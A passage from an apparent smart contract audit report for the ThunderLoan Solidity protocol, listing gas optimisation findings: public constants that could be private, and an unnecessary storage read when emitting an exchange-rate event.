If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

*Instances (3)*:

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

### [GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```